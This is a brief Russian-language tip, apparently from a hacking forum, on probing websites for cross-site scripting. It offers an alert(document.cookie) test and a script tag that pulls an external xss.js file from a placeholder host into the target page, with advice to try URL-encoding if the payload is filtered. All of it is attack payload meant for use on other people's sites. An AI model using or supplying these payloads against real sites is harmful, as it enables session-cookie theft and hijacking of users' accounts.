alert(document.cookie) - если не вылезает - забудь.
<script src=http://blabla.com/xss.js></script>

http://blabla.com/xss.js => alert();

Если вылетело, то все норм и руки в попке, если не вылетело, то забудь или urlencode пробуй.